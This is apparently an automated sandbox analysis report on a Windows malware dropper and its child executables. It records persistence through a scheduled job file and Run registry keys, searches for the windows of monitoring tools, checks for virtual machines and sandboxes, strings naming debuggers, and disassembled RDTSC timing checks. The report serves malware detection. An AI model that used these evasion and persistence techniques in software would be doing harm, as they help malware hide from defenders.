Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 142c991362.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 142c991362.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 35f0a75b93.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 35f0a75b93.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2e4e1b8516.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2e4e1b8516.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54682ac64c.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54682ac64c.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Registry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Registry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files\Windows Media Player\graph\graph.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Program Files\Windows Media Player\graph\graph.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\graph\graph.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Users\user\Desktop\file.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: PROCMON.EXE
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: X64DBG.EXE
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: WINDBG.EXE
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8BF57E second address: 8BF582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8BF582 second address: 8BF586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8BF586 second address: 8BEE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F0E6551CA3Ch 0x0000000f push dword ptr [ebp+122D0361h] 0x00000015 pushad 0x00000016 mov edx, 453CDEBDh 0x0000001b mov dword ptr [ebp+122D35C1h], esi 0x00000021 popad 0x00000022 call dword ptr [ebp+122D2034h] 0x00000028 pushad 0x00000029 jmp 00007F0E6551CA46h 0x0000002e mov dword ptr [ebp+122D2273h], edx 0x00000034 xor eax, eax 0x00000036 jmp 00007F0E6551CA43h 0x0000003b mov dword ptr [ebp+122D2273h], edx 0x00000041 mov edx, dword ptr [esp+28h] 0x00000045 jmp 00007F0E6551CA3Eh 0x0000004a mov dword ptr [ebp+122D2D98h], eax 0x00000050 jmp 00007F0E6551CA48h 0x00000055 mov esi, 0000003Ch 0x0000005a clc 0x0000005b cld 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 jmp 00007F0E6551CA46h 0x00000065 lodsw 0x00000067 jp 00007F0E6551CA3Ch 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 pushad 0x00000072 mov eax, 3F34A5C6h 0x00000077 mov dx, ECF7h 0x0000007b popad 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 stc 0x00000081 nop 0x00000082 pushad 0x00000083 jmp 00007F0E6551CA44h 0x00000088 jns 00007F0E6551CA3Ch 0x0000008e popad 0x0000008f push eax 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 push ebx 0x00000094 pop ebx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3ED60 second address: A3EDAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0E647B60A3h 0x0000000f jmp 00007F0E647B6086h 0x00000014 jmp 00007F0E647B6087h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EDAF second address: A3EDB4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EDB4 second address: A3EDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EDC2 second address: A3EDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3EDC6 second address: A3EDCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3F2C2 second address: A3F2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3F5B8 second address: A3F5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3F5BE second address: A3F5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3F5CA second address: A3F5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A3F5CF second address: A3F5D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4237B second address: A4237F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4237F second address: A423AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D20FDh] 0x00000011 push 00000000h 0x00000013 adc esi, 5BBD80A2h 0x00000019 call 00007F0E6551CA39h 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A423AB second address: A423ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B607Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jo 00007F0E647B607Ch 0x00000012 jng 00007F0E647B6076h 0x00000018 jmp 00007F0E647B607Bh 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0E647B6081h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A423ED second address: A42400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jo 00007F0E6551CA54h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A42400 second address: A42404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A42404 second address: A4242F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0E6551CA3Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4242F second address: A42439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0E647B6076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A42439 second address: A424C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F0E6551CA38h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 pushad 0x00000024 or dword ptr [ebp+122D35D6h], esi 0x0000002a add dword ptr [ebp+122D35A6h], eax 0x00000030 popad 0x00000031 push 00000003h 0x00000033 mov di, cx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F0E6551CA38h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 jmp 00007F0E6551CA47h 0x00000057 push 00000003h 0x00000059 mov esi, dword ptr [ebp+122D2AA8h] 0x0000005f call 00007F0E6551CA39h 0x00000064 pushad 0x00000065 push esi 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A424C7 second address: A424D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A424D0 second address: A424D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A424D4 second address: A424D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A424D8 second address: A42543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F0E6551CA3Eh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jc 00007F0E6551CA42h 0x00000017 jg 00007F0E6551CA3Ch 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jns 00007F0E6551CA38h 0x00000026 jnc 00007F0E6551CA3Ch 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 jmp 00007F0E6551CA3Dh 0x00000036 pop eax 0x00000037 pushad 0x00000038 adc ch, FFFFFFF9h 0x0000003b mov esi, ebx 0x0000003d popad 0x0000003e lea ebx, dword ptr [ebp+1245728Ch] 0x00000044 mov esi, eax 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A42543 second address: A4254C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
